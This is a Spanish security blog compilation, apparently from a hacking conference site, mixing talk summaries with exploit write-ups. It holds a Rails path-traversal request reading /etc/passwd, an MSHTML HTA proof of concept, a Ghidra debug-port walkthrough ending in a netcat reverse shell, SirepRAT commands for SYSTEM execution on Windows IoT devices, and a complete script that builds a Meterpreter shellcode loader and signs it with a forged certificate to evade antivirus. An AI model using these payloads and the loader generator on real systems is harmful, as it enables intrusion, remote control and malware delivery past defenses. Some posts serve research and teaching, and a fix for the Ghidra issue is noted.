iBombShell: Pentesting EveryWhere & EverySystem (by Pablo González y Álvaro Nuñez #hc0n2019)

Cuando recibimos la propuesta de Pablo González y Álvaro Nuñez para hablar de iBombShell en la #hc0n2019 lo teníamos claro. Primero porque Pablo es super majo y uno de los grandes, conocido desde tiempos de Flu-Project, y segundo porque traían a nuestro congreso una herramienta que fue incluida en el arsenal del la BlackHat Europe de 2018.

iBombShell fue desarrollada desde el departamento de Ideas Locas del área del CDO de Telefónica en colaboración con el laboratorio de Innovación de ElevenPaths y se trata de una shell de post-explotación que tiene como objetivo poder usarse prácticamente en cualquier equipo con Windows, gracias a que es descargada desde el repo dinámicamente. Bueno, realmente tiene dos modos de ejecución, el denominado "everywhere" con Powershell y otro adicional llamado "silently" gracias a un C2 escrito en Python.

En la charla se mostraron escenarios reales, y actuales, de pentesting dónde iBombShell trabaja y aporta frescura a los diferentes procesos de un pentest. Tanto si tuviste la oportunidad de asistir al Congreso y ver las demos como si no, ¡te recomendamos probarla!

https://github.com/ElevenPaths/ibombshell

Presentación:


Es Java... ¡no aceptes proyectos de extraños para Ghidra!

Hace unos días veíamos en el blog una pequeña peculiaridad (no diría vulnerabilidad) en Ghidra que permitía ejecutar código remotamente si lanzábamos el programa en modo debug. Pues bien, hoy os traemos una vulnerabilidad XXE (entidad externa XML) identificada por @sghctoma y Tecent Security que se puede provocar al cargar un proyecto en la versión 9.0 de la popular herramienta de reversing de la NSA.

La PoC de la siguiente imagen muestra cómo un atacante puede crear un proyecto GHIDRA completamente nuevo editando el archivo project.prp e insertar el exploit XXE para recibir una simple shell reversa escuchando con netcat:


Otra aplicación interesante es la posibilidad de recibir el hash NTLM explotando esta vulnerabilidad. Java en Windows habilita la autenticación NTLM transparente de forma predeterminada y trata todas las URL como confiables, así que sólo basta con levantar un servidor HTTP con la autenticación NTLM habilitada y usar la vulnerabilidad XXE/SSRF para forzar una autenticación NTLM de la víctima.

Cuando se autentica con NTLMv1, el atacante puede transmitir directamente el Hash Net-NTLM al servicio SMB de la víctima.
En el caso de SMBv2, primero debemos modificar las flags de negociación en el mensaje de tipo 2: 'Negotiate Always Sign' y 'Negotiate 0x00004000'. Esto pasará de autenticación local a autenticación de red, y también eliminará la firma.

La gente de Tecent Security ha publicado además una herramienta llamada UltraRelay basada en Responder e Impack para el envenenamiento LLMNR y reenvío de credenciales NTLM: https://github.com/5alt/ultrarelay

El resultado como puede verse en el siguiente vídeo es bastante autoexplicativo:


- Ghidra From XXE to RCE
- GHIDRA is NSA’s reverse engineering tool released earlier this month.
- Experts found a critical vulnerability in the NSA Ghidra tool

Acceso arbitrario a ficheros en Rails (CVE-2019-5418)

Recientemente se ha publicado una vulnerabilidad en Ruby on Rails que permite acceder arbitrariamente al contenido de los ficheros del servidor.

La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.

Explotación de software moderno en GNU/Linux (by Manuel Blanco #hc0n2019)

Las siguientes diapositivas que vamos a liberar de la pasada h-c0n 2019 Hackplayers' Conference celebrada en Madrid en mes de febrero serán las de Manuel Blanco con su taller "Explotación de software moderno en GNU/Linux".

Manuel Blanco es un persona autodidacta, apasionada por el mundo de la explotación de software, un habitual en el mundo de los CTFs a nivel nacional e internacional con equipos como ID-10-T y w0pr, y estudiante de ingeniería informática en la Universidad Politécnica de Ingeniería de Gijón.

En este taller se explicaron los fundamentos del exploiting en GNU/Linux comenzando por los clásicos Buffer Overflow, pasando por los famosos Out-of-Bounds y llegando hasta Return Oriented Programming, todo ello explicado de una manera interactiva, con ejemplos y ejercicios para llevar todos estos conceptos a la práctica.

Presentación:



MSHTML Engine RCE - CVE-2019-0541

El motor MSHTML de Microsoft Windows posee una vulnerabilidad que permite ejecutar código arbitrario debido a una validación incorrecta de documentos web especialmente diseñados (html, xhtml, etc). Concretamente el problema se desencadena cuando los usuarios "editan" uno de estos documentos especialmente diseñados que contienen una etiqueta HTML 'meta' establecida en 'ProgId' y su contenido establecido en una opción de 'ProgId', por ejemplo. 'HTAFILE', generalmente a través del componente del navegador MS IE o MS Office (la aplicación de edición de HTML 'msohtmed.exe'):
<html>

<head><meta name=ProgId content=htafile>

<!-- htafile is just an exmaple of 'ProgId'...others are possible, you may test all available ProgIds at will! -->

</head>
<hta:application id=x>
<script>

try { if (x.commandLine != "") {

new ActiveXObject('WScript.Shell').Run('calc.exe',1)

}

}

catch(ex) { alert('Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. \n If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...".'); }

</script>

<noscript> Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. <br> If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...". </noscript>

</html>   

Algunas versiones de Office agregan una opción de menú "Editar" a los archivos html y xhtml, lo que permitirá explotar la vulnerabilidad local o remotamente (generalmente a través de recursos compartidos de red). Veamos una PoC rápida:


Esta vulnerabilidad es similar a las antiguas vulnerabilidades de ClassId de Windows Shell/Internet Explorer que han afectado a Windows 98/2000/XP en el pasado.

Afecta a Microsoft Office, Microsoft Office Word Viewer, Internet Explorer 9, Internet Explorer 11, Microsoft Excel Viewer, Internet Explorer 10 y Office 365 ProPlus, y ha sido probado en Windows 7 SP1, Server 2008, Server 2012, Server 2012 R2, 8.0, 8.1, 10 (cualquiera) con todos los parches hasta diciembre de 2018 y en ambas arquitecturas (x86 y x64).

En los sistemas parcheados, el archivo de la PoC siempre se abrirá en el Bloc de notas.

PoC: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46536.zip

Probando el RCE de Ghidra en modo debug

Una de las herramientas más esperadas en las últimas semanas (y probablemente de todo el año) es Ghidra, la herramienta de reversing que recientemente ha publicado la NSA. Está claro que todavía no tiene tantos módulos y file loaders como IDA y, sobretodo, no dispone de debugger (al menos esta versión pública) pero el code browser, el decompilador que funciona con numerosos procesadores, las posibilidades de colaboración y, sobretodo, la liberación del código fuente le hacen ser una herramienta más que interesante.

Pero aún con el código a disposición del público no se han podido evitar suspicacias (hablamos de la NSA) y es que, a poco de publicarse la herramienta, Hackerfantastic encontró una vulnerabilidad de RCE a través del puerto de depuración de JDWP. Que más que una vulnerabilidad es un pequeño "descuido" ya que la configuración por defecto abre el puerto de debug de JDWP, el 18001, a todos los interfaces cuando se ejecuta la herramienta especificamente en modo depuración.

Veamos qué fácil es reproducirlo. Primero lanzamos la herramienta en modo debug (carpeta 'debug'):
user@server:/tools/reversing/ghidra_9.0/support$ ./ghidraDebug 

Si escanemos los puertos vemos que se ha levantado el puerto de debug:
# nmap -p18001,18002 -sV localhost

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-14 22:16 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT      STATE SERVICE     VERSION
18001/tcp open  jdwp        Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.2
18002/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

Y aquí lo sorprendente, podemos comprobar como el puerto 18001 está escuchando en todos los interfaces (0.0.0.0):
user@server:/tools/reversing/ghidra_9.0/support# netstat -an | grep 800
tcp        0      0 0.0.0.0:18001           0.0.0.0:*               LISTEN     
tcp6       0      0 :::18002                :::*                    LISTEN     

Con lo cual, si desde una máquina remota podemos attachar el debugger de Java al servidor corriendo Ghidra (recordar, lanzado en modo debug):
# jdb -attach 192.168.1.81:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...

Una vez dentro, podemos comprobar el classpath:
> classpath
base directory: /tools/reversing/ghidra_9.0/support
classpath: [/tools/reversing/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]

Y dentro de las clases disponibles nos fijamos en las "runnables":
> classes
...
...
org.apache.logging.log4j.core.util.Integers
org.apache.logging.log4j.core.util.Loader
org.apache.logging.log4j.core.util.Log4jThread
org.apache.logging.log4j.core.util.Log4jThreadFactory
org.apache.logging.log4j.core.util.NameUtil
org.apache.logging.log4j.core.util.NanoClock
org.apache.logging.log4j.core.util.NetUtils
org.apache.logging.log4j.core.util.OptionConverter
org.apache.logging.log4j.core.util.Patterns
org.apache.logging.log4j.core.util.ReflectionUtil
org.apache.logging.log4j.core.util.ShutdownCallbackRegistry
org.apache.logging.log4j.core.util.SystemClock
org.apache.logging.log4j.core.util.TypeUtil
org.apache.logging.log4j.core.util.WatchManager
org.apache.logging.log4j.core.util.WatchManager$FileMonitor
org.apache.logging.log4j.core.util.WatchManager$WatchRunnable
org.apache.logging.log4j.core.util.datetime.DateParser
org.apache.logging.log4j.core.util.datetime.DatePrinter
org.apache.logging.log4j.core.util.datetime.FastDateFormat
org.apache.logging.log4j.core.util.datetime.FastDateFormat$1
org.apache.logging.log4j.core.util.datetime.FastDateParser
org.apache.logging.log4j.core.util.datetime.FastDateParser$1
org.apache.logging.log4j.core.util.datetime.FastDateParser$2
org.apache.logging.log4j.core.util.datetime.FastDateParser$3
...
...

Seteamos un breakpoint en la clase en cuestión:
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()

Esperamos un rato breve:
> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Levantamos un netcat a la escucha y ejecutamos lo siguiente para obtener la shell reversa:
Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh")
 new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh") = "Process[pid=5954, exitValue="not exited"]"
Log4j2-TF-4-Scheduled-1[1] 

# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.1.81 55418 received!
whoami
user
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1000(user) gid=1000(user) groups=1000(grupo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ 

Como véis un pequeño "descuido" como decimos, que puede corregirse fácilmente cambiando el "*" por "127.0.0.1" en el fichero de configuración launch.sh:
user@server:/tools/reversing/ghidra_9.0/support# vi launch.sh 

if [ "${MODE}" = "debug" ] || [ "${MODE}" = "debug-suspend" ]; then

        SUSPEND=n

        if [ "{$DEBUG_PORT}" = "" ]; then
                DEBUG_PORT=18001
        fi

        if [ "${MODE}" = "debug-suspend" ]; then
                SUSPEND=y
        fi

        VMARG_LIST+=" -Xdebug"
        VMARG_LIST+=" -Xnoagent"
        VMARG_LIST+=" -Djava.compiler=NONE"
        VMARG_LIST+=" -Dlog4j.configuration=\"${DEBUG_LOG4J}\""
        VMARG_LIST+=" -Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.port=$(($DEBUG_PORT+1))"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.authenticate=false"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.ssl=false"

Tunneling Like a Boss (by José Boix y Luismi Cerrato #hc0n2019)

Qué hacer cuando se ha conseguido un blind RCE o una Webshell en un sistema y se quiere obtener una shell interactiva y después pivotar hacia la red interna? Esta es una pregunta recurrente y que en cada caso encontramos una respuesta diferente. José Boix y Luis Miguel Cerrato expusieron en la h-c0n 2019 todo tipo de técnicas para poder conseguir este objetivo, recreando distintos escenarios variando el nivel de complejidad de la red, impidiendo utilizar técnicas convencionales de tunneling y pivoting.

El principal objetivo de la presentación fue otorgar al público los conocimientos necesarios para poder adaptarse a diferentes escenarios y conocer distintas técnicas para desenvolverse en él, para comprometer la red interna evadiendo mecanismos de defensa. Aquí os dejo la presentación gracias a estos dos cracks:

Presentación:



Loader de Meterpreter firmado con un certificado falso

Astr0baby ha actualizado su generador/loader de meterpreter con una función para falsificar cualquier certificado de una web y firmar un ejecutable con el objetivo de evadir algunos antivirus. El concepto original es de paranoidninja que hace unos meses publicó CarbonCopy, una pequeña herramienta que lo implementaba: https://github.com/paranoidninja/CarbonCopy.

El resultado de incorporar ésto es un script que produce un archivo binario de Windows PE32 de 64 bits con la dirección del servidor del loader de meterpreter y el puerto hardcodeado dentro y, por supuesto, firmado con un certificado falsificado por un sitio web a nuestra elección (google.com por ejemplo). El binario firmado resultante no es verificado por Windows pero agrega una capa adicional de complejidad a los motores AV.

#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Based on NinjaParanoid's CarbonCopy "
echo " "
echo " For Debian based system Ubuntu/Mint "
echo " PE32+ executable (GUI) x86-64 "
echo "****************************************************************"

# Check if we are on Debian/Ubuntu 
if [ $(which dpkg-query | grep -c "dpkg-query") -eq 0 ]; 
then echo "[-] no dpkg-query found in path, not Debian/Ubuntu based system, manually change the scipt" 
echo " This script relies on dpkg-query to check for required packages, if running on other platform" 
echo " Simply remove the section starting from #Debian-start and finishing at #Debian-end" 
echo " Make sure you manually install the dependant packages" 
echo ""
echo "- mingw-w64 "
echo "- python-openssl" 
echo "- osslsigncode" 
exit
fi

echo "[*] Checking if required software is installed " 
dpkg --get-selections mingw-w64 python-openssl osslsigncode 
if [ $(dpkg-query -W -f='${Status}' mingw-w64 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing mingw-w64 run apt-get install mingw-w64"
exit
fi
if [ $(dpkg-query -W -f='${Status}' python-openssl 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing python-openssl run apt-get install python3-openssl"
exit
fi
if [ $(dpkg-query -W -f='${Status}' osslsigncode 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing osslsigncode apt-get install osslsigncode"
exit
fi

echo -en 'Metasploit server IP : ' 
read ip
echo -en 'Metasploit port number : ' 
read port 
echo -en 'Impersonate Certificate https site (www.google.com): ' 
read hostname
echo '#include '> temp.c 
echo '#include ' >> temp.c 
echo '#include ' >> temp.c
echo '#include ' >> temp.c 
echo -n 'unsigned char lambert[]="' >> temp.c 
echo -n $ip >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo -n 'unsigned char omega[]="' >> temp.c 
echo -n $port >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo 'void winsock_init() {' >> temp.c 
echo ' WSADATA wsaData;' >> temp.c 
echo ' WORD wVersionRequested;' >> temp.c 
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c 
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c 
echo ' printf("bad\n"); '>> temp.c 
echo ' WSACleanup(); '>> temp.c 
echo ' exit(1);'>> temp.c 
echo ' }' >> temp.c 
echo ' }' >> temp.c 
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c 
echo ' printf("r %s\n", error);'>> temp.c 
echo ' closesocket(my_socket);'>> temp.c 
echo ' WSACleanup();'>> temp.c 
echo ' exit(1);' >> temp.c 
echo ' }' >> temp.c 
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c 
echo ' int tret = 0;'>> temp.c 
echo ' int nret = 0;'>>temp.c 
echo ' void * startb = buffer;'>> temp.c 
echo ' while (tret < len) {'>>temp.c 
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c 
echo ' startb += nret;'>> temp.c 
echo ' tret += nret;'>>temp.c 
echo ' if (nret == SOCKET_ERROR)'>> temp.c 
echo ' punt(my_socket, "no data");'>> temp.c 
echo ' }'>>temp.c 
echo ' return tret;'>> temp.c 
echo '}' >> temp.c 
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c 
echo ' struct hostent * target;' >> temp.c 
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c 
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c 
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c 
echo ' punt(my_socket, ".");'>>temp.c 
echo ' target = gethostbyname(targetip);'>>temp.c 
echo ' if (target == NULL)'>>temp.c 
echo ' punt(my_socket, "..");'>>temp.c 
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c 
echo ' sock.sin_family = AF_INET;'>> temp.c 
echo ' sock.sin_port = htons(port);'>>temp.c 
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c 
echo ' punt(my_socket, "...");'>>temp.c 
echo ' return my_socket;'>>temp.c 
echo '}' >> temp.c 
echo 'int main(int argc, char * argv[]) {' >> temp.c 
echo ' FreeConsole();'>>temp.c 
echo ' Sleep(15);'>>temp.c 
echo ' ULONG32 size;'>>temp.c 
echo ' char * buffer;'>>temp.c 
echo ' void (*function)();'>>temp.c 
echo ' winsock_init();'>> temp.c 
echo ' SOCKET my_socket = wsconnect(lambert, atoi(omega));'>>temp.c 
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c 
echo ' if (count != 4 || size <= 0)'>>temp.c 
echo ' punt(my_socket, "error lenght\n");'>>temp.c 
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c 
echo ' if (buffer == NULL)'>>temp.c 
echo ' punt(my_socket, "error in buf\n");'>>temp.c 
echo ' buffer[0] = 0xBF;'>>temp.c 
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c 
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c 
echo ' function = (void (*)())buffer;'>>temp.c 
echo ' function();'>>temp.c 
echo ' return 0;'>>temp.c 
echo '}' >> temp.c 
echo '(+) Compiling binary ..' 
x86_64-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows 
ls -la temp.c
strip payload.exe 
file=`ls -la payload.exe` ; echo '(+)' $file

#Cleanup previous run 
rm -f carboncopy.py
cat <> carboncopy.py
#!/usr/bin/python3

##Author : Paranoid Ninja
##Email  : paranoidninja@protonmail.com
##Descr  : Spoofs SSL Certificates and Signs executables to evade Antivirus


from OpenSSL import crypto
from sys import argv, platform
import ssl
import os
import subprocess

def CarbonCopy(host, port, signee, signed):

    try:
        #Fetching Details
        print("[+] Loading public key of %s in Memory..." % host)
        ogcert = ssl.get_server_certificate((host, int(port)))
        x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)

        certDir = r'certs'
        if not os.path.exists(certDir):
            os.makedirs(certDir)

        #Creating Fake Certificate
        CNCRT = certDir + "/" + host + ".crt"
        CNKEY = certDir + "/" + host + ".key"
        PFXFILE = certDir + "/" + host + '.pfx'

        #Creating Keygen
        k = crypto.PKey()
        k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))
        cert = crypto.X509()

        #Setting Cert details from loaded from the original Certificate
        print("[+] Cloning Certificate Version")
        cert.set_version(x509.get_version())
        print("[+] Cloning Certificate Serial Number")
        cert.set_serial_number(x509.get_serial_number())
        print("[+] Cloning Certificate Subject")
        cert.set_subject(x509.get_subject())
        print("[+] Cloning Certificate Issuer")
        cert.set_issuer(x509.get_issuer())
        print("[+] Cloning Certificate Registration & Expiration Dates")
        cert.set_notBefore(x509.get_notBefore())
        cert.set_notAfter(x509.get_notAfter())
        cert.set_pubkey(k)
        print("[+] Signing Keys")
        cert.sign(k, 'sha256')

        print("[+] Creating %s and %s" %(CNCRT, CNKEY))
        open(CNCRT, "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
        open(CNKEY, "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode('utf-8'))
        print("[+] Clone process completed. Creating PFX file for signing executable...")

        pfx = crypto.PKCS12Type()
        pfx.set_privatekey(k)
        pfx.set_certificate(cert)
        pfxdata = pfx.export()

        with open((PFXFILE), 'wb') as pfile:
            pfile.write(pfxdata)

        if (platform == "win32"):
            print("[+] Platform is Windows OS...")
            print("[+] Signing %s with signtool.exe..." %(signed))
            print(subprocess.check_output("copy " + signee + " " + signed, shell=True).decode())
            print(subprocess.check_output("signtool.exe sign /v /f " + PFXFILE + " /d \"MozDef Corp\" /tr \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\" /td SHA256 /fd SHA256 " + signed, shell=True).decode())

        else:
            print("[+] Platform is Linux OS...")
            print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE))
            args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", "http://sha256timestamp.ws.symantec.com/sha256/timestamp", "-in", signee, "-out", signed)
            popen = subprocess.Popen(args, stdout=subprocess.PIPE)
            popen.wait()
            output = popen.stdout.read()
            print("[+] " + output.decode('utf-8'))

    except Exception as ex:
        print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))

def main():
    if (len(argv) != 5):
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n\n[+] Descr: Impersonates the Certificate of a website\n[!] Usage: " + argv[0] + "    \n")
    else:
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n")
        CarbonCopy(argv[1], argv[2], argv[3], argv[4])

if __name__=="__main__":
    main()

EOF

python ./carboncopy.py $hostname 443 ./payload.exe ./payload-signed.exe
ls -la ./payload-signed.exe 
osslsigncode verify ./payload-signed.exe

Tor DIY (by @dsecuma #hc0n2019)

La siguiente presentación que vamos a liberar es a petición de un colega que hoy nos la ha solicitado... Se trata de 'Tor DIY' de David Santos aka @dsecuma una interesantísima (y práctica) charla en la que se empezaba con una introducción al funcionamiento interno de TOR para posteriormente mostrar como montar una red Tor aislada de la red Tor pública y las vicisitudes con los ISPs.

Además, David nos mostró finalmente como emplearla como entorno de laboratorio para realizar ataques/pruebas en nodos de salida.

Presentación:



Nuevo exploit para ownear dispositivos con Windows IoT Core

Windows 10 IoT Core es el sucesor de Windows Embedded y actualmente 2 de cada 10 dispositivos IoT utilizan el sistema operativo de M$ (Linux prácticamente copa el mercado).

Recientemente, en la conferencia de seguridad WOPR Summit de Nueva Jersey, la investigadora Dor Azouri de SafeBreach ha publicado un exploit que aprovecha una vulnerabilidad del protocolo de comunicaciones Sirep/WPCon/TShell y que puede permitir a un atacante ejecutar comandos con privilegios de SYSTEM.

Básicamente, lo que hicieron fue romper el protocolo y demostrar cómo expone una interfaz de comando remoto para los atacantes, que incluye capacidades RAT como descargar o subir archivos arbitrarios y obtener información del sistema.

Eso sí, para comprometer al dispositivo IoT es necesario estar en la misma LAN que el dispositivo y la vulnerabilidad sólo afecta a la versión Core asÌ que Windows IoT Enterprise parece estar a salvo (de momento).

Sobre la base de la investigación sobre el servicio y el protocolo, crearon además una herramienta escrita en Python llamada SirepRAT que ya podemos encontrar en Github:

https://github.com/SafeBreach-Labs/SirepRAT

Descargar archivo

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" -v

Subir archivo

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Ejecutar cualquier programa

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Con argumentos, impersonando al usuario actualmente conectado:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Intenta ejecutarlo sin el flag as_logged_on_user para demostrar la capacidad de ejecución con SYSTEM)

Conseguir información del sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Obtener información de un fichero

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Ver ayuda:

python SirepRAT.py --help

Fuentes:

https://www.woprsummit.org/talks
https://www.muyseguridad.net/2019/03/04/vulnerabilidad-en-windows-iot-core/
https://www.zdnet.com/article/new-exploit-lets-attackers-take-control-of-windows-iot-core-devices/

Red Teaming with Security Descriptors (by @attl4s & @leurian #hc0n2019)

Hoy os traemos otra charla de la h-c0n, concretamente la de Daniel López aka @attl4s autor también de varios artículos en este blog y de Roberto López aka @leurian con el que tuve la suerte de coincidir profesionalmente en el pasado. Se trata de 'Red teaming with security descriptors' en la que se explicaba cómo elevar privilegios en dominios Windows a través de técnicas basadas en descriptores de seguridad o security descriptors.

Active Directory está formado de objetos, muchos objetos: objetos de tipo usuario, de tipo ordenador, de tipo dominio…, etcétera. Cada uno de estos objetos tiene ciertas características y, entre ellas, existen los descriptores de seguridad. El objetivo de los descriptores de seguridad es llevar un control sobre cada objeto del AD y su relación con el resto objetos, por este motivo son una parte fundamental de la seguridad en entornos Windows.

En dominios de empresas grandes es prácticamente imposible llevar un control total de estas relaciones entre objetos, lo que puede llevar a malas configuraciones que podrán ser aprovechadas. Es más, en ocasiones una configuración perfectamente establecida puede desembocar también en escenarios útiles para un atacante.

El uso de técnicas que se aprovechan de debilidades en descriptores de seguridad son poco conocidas y utilizadas actualmente pero son tremendamente útiles en grandes compañías con inmensos Directorios Activos. De hecho, su uso es un tema que ha estado tratando estos últimos años Will ‘harmj0y’ Schroeder y es precisamente en su trabajo en el que se basaron junto con otras fuentes.

Este tipo de técnicas pueden servir como una alternativa más al arsenal de un red teamer para realizar tanto elevación de privilegios y como creación de persistencia en ejercicios Red Team. Destacan por una serie de puntos:

- No se aprovechan de exploits ni CVEs, se hace un uso exclusivo de herramientas propias de Active Directory.
- Técnicas silenciosas que modifican ligeramente el entorno y dejan un mínimo de rastro.
- Su causa no tiene por qué ser debida a malas configuraciones, en ocasiones podemos aprovechar relaciones entre objetos totalmente legítimas.

Presentación:

La presentación se enfocó de la siguiente manera:

- Teoría básica de descriptores de seguridad.
- Teoría explicada a través de ejemplos reales en un entorno real de dominio (con DC, equipos, dominio…, etc.)
- Explicación de herramientas modernas utilizadas en ejercicios Red Team.
- Resumen breve de ataques comunes y modernos.


Hacking Wireless con Airgeddon (by @OscarAkaElvis #hc0n2019)

El siguiente material de h-c0n 2019 que vamos a liberar es el de Oscar Alfonso aka OscarAkaElvis o v1s1t0r, amigo y compi también de l1k0rd3b3ll0t4, creador de máquinas y retos en Vulnhub y HacktheBox, programador, researcher,... y entre tanto de lo que hace (y lo hace muy bien, os lo aseguro), fundador del proyecto Airgeddon. Precisamente su charla fue enseñarnos a hackear Wireless con su suite Airgeddon.

Si veis la presentación que os pongo a continuación comprobaréis que no tiene mucho contenido porque la charla fue básicamente varias demos en vivo y en directo que pudieron disfrutar los asistentes al Congreso. Pero, tanto como si pudisteis asistir como si no, os recomiendo echar un vistazo a su Github y seguro que (si no lo habíais hecho antes) os preguntaréis cómo habéis podido vivir sin esta herramienta hasta ahora... y rápida e irremediablemente lo incorporáis a vuestro arsenal para pwnear wi-fi. Enjoy it!

URL: https://github.com/v1s1t0r1sh3r3/airgeddon
Wiki: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki
Docker: https://hub.docker.com/r/v1s1t0r1sh3r3/airgeddon

Presentación:


Buscando malware en volcados de memoria mediante Volatility y Yara

Aunque prácticamente todos los parámetros de Volatility pueden ayudarnos a encontrar e identificar malware en volcados de memoria, hay algunos que fueron diseñados específicamente para cazar rootkits y código malicioso. Uno de ellos es el plugin "yarascan", que nos puede ayudar a encontrar mediante reglas Yara cualquier secuencia de bytes (como instrucciones de ensamblador con wild cards), expresiones regulares, cadenas ANSI o cadenas Unicode en el modo de usuario o en la memoria del kernel.

Al usar las reglas específicas de Yara, una de las "navajas suizas" de los analistas, se puede detectar la presencia de artefactos relacionados con las familias de malware más comunes en la imagen de memoria analizada.

Para el ejemplo de este post usaremos una muestra de memoria disponible online, como el archivo stuxnet.vmem, que los autores del libro The Malware Analyst Cookbook's hicieron para practicar y que proviene de una máquina virtual infectada con Stuxnet.

Una vez descargada la imagen, lo primero que haremos como siempre será ejecutar una pequeña identificación:
$ volatility -f stuxnet.vmem imageinfo

Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/tools/hunting/stuxnet.vmem)
                      PAE type : PAE
